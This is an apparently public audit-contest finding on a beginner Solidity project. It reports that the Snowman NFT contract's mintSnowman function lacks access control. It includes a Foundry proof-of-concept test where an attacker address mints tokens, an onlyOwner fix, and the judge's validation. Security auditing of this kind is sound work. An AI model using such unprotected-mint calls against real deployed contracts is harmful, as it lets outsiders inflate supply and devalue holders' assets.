Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of Access Control on mintSnowman

Root + Impact

Description

  • The mintSnowman function is publicly accessible and allows any address to mint an arbitrary number of NFTs to any address. This could lead to unauthorized minting of NFTs.

// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood:

  • This will occur when any external actor (EOA or smart contract) discovers the contract address and sees the public interface (via a block explorer or ABI).

  • Since no onlyOwner, onlyAdmin, or merkle-based claim control exists, nothing stops bots, malicious actors, or curious users from mass minting Snowman NFTs on deployment or after discovering the contract.

Impact:

  • Unauthorized users can mint NFTs, potentially leading to inflation of the NFT supply and devaluation.

Proof of Concept

This PoC clearly demonstrates how any user (not just the contract owner) can mint NFTs using the mintSnowman() function, without constraints. By simulating the attacker with vm.prank, it shows the issue in isolation, providing an immediate and verifiable reproduction of the vulnerability.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/Snowman.sol"; // Adjust import based on your structure
contract AttackerMintTest is Test {
Snowman public snowman;
address public attacker = address(0xBEEF); // Simulated malicious actor
function setUp() public {
// Deploy the vulnerable Snowman contract with a dummy SVG URI
snowman = new Snowman("ipfs://fake-snowman-svg-uri");
}
function testAttackerCanMintUnlimitedNFTs() public {
// Simulate as the attacker
vm.startPrank(attacker);
// Try to mint 3 NFTs to themselves
snowman.mintSnowman(attacker, 3);
// Stop the prank
vm.stopPrank();
// Verify that attacker now owns 3 tokens
assertEq(snowman.ownerOf(0), attacker);
assertEq(snowman.ownerOf(1), attacker);
assertEq(snowman.ownerOf(2), attacker);
// Check token counter advanced correctly
assertEq(snowman.getTokenCounter(), 3);
}
}

Recommended Mitigation

Add a modifier to restrict who can call the mintSnowman function. The simplest approach is using OpenZeppelin's onlyOwner, since the contract already inherits Ownable.

+ function mintSnowman(address receiver, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge 11 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted NFT mint function

The mint function of the Snowman contract is unprotected. Hence, anyone can call it and mint NFTs without necessarily partaking in the airdrop.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.